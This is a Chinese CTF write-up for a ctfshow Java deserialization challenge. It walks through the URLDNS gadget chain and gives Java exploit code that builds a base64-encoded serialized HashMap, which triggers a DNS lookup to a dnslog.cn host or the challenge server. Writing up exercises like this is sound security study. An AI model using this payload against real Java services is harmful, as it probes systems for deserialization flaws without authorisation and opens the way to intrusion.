ctfshow会对你post提交的ctfshow参数进行base64解码
然后进行反序列化
构造出对当前题目地址的dns查询即可获得flag链子#
- HashMap->readObject()
- HashMap->hash()
- URL->hashCode()
- URLStreamHandler->hashCode()
- URLStreamHandler->getHostAddress()
- InetAddress->getByName()
入口类选择#
实现Serializable接口;
重写readObject方法,
调用一个常见的函数;
接收参数类型宽泛;
最好JDK自带;本链入口类为**java.util.HashMap**
首先hashmap实现了Serializable接口

因为**HashMap<K,V>存储数据采用的哈希表结构,元素的存取顺序不能保证一致。由于要保证键的唯一、不重复,在反序列化过程中就需要对Key进行hash,这样一来就需要重写readObject**方法。

调用了**hash函数,根据key产生hash。跟进hash()函数,可以看到,这里使用传入参数对象key的hashCode**方法。

最后寻找执行类

exp#
package com.exp;
import java.io.FileOutputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.net.URL;
import java.util.HashMap;
public class Main {
public static void main(String[] args) throws Exception{
HashMap h=new HashMap();
URL url=new URL("http://c33test.trj7m6.dnslog.cn");
Class cls=Class.forName("java.net.URL");
Field f = cls.getDeclaredField("hashCode");
f.setAccessible(true);
f.set(url,1); //为了防止在serialize的时候就产生了url请求
h.put(url,1);
f.set(url,-1);
ObjectOutputStream oos=new ObjectOutputStream(new FileOutputStream("seri.bin"));
oos.writeObject(h);
}
}使用反射修改 URL 的 hashCode
不会反射的把这部分看懂就会了
import java.lang.reflect.Constructor;
import java.lang.reflect.Method;
public class fanshe {
private String name;
public String getName() {
return name;
}
public void setName(String name) {
this.name = name;
}
public static void main(String[] args) throws Exception {
//正常的调用
fanshe testObj = new fanshe();
testObj.setName("tom");
System.out.println("Obj name:" + testObj.getName());
//使用反射调用
Class clz = Class.forName("fanshe");
Method setNameMethod = clz.getMethod("setName", String.class);
Constructor testConstructor = clz.getConstructor();
Object testObj1 = testConstructor.newInstance();
setNameMethod.invoke(testObj1, "tom");
Method getNameMethod = clz.getMethod("getName");
System.out.println("Obj name:" + getNameMethod.invoke(testObj1));
}
}
hashcaode置0置1前面学习过,简单概述一下
URL 的 hashCode() 方法默认情况下会解析 DNS
置1为了防止序列化过程中发送网络请求
set时为-1为了保证反序列化过程中触发DNS解析
那么对于此处例题只需要略微修改即可
package com.exp;
import java.io.ByteArrayOutputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.net.URL;
import java.util.Base64;
import java.util.HashMap;
public class Main {
public static void main(String[] args) throws Exception{
HashMap h=new HashMap();
URL url=new URL("http://484bd69e-839a-4ce1-9a9a-e285d3af0283.challenge.ctf.show/");
Class cls=Class.forName("java.net.URL");
Field f = cls.getDeclaredField("hashCode");
f.setAccessible(true);
f.set(url,1); //为了防止在serialize的时候就产生了url请求
h.put(url,1);
f.set(url,-1);
// ObjectOutputStream oos=new ObjectOutputStream(new FileOutputStream("seri.bin"));
// oos.writeObject(h);
ByteArrayOutputStream b = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(b);
oos.writeObject(h);
byte[] bytes = b.toByteArray();
Base64.Encoder encoder = Base64.getEncoder();
String exp = encoder.encodeToString(bytes);
System.out.println(exp);
}
}

或者使用ysoserial
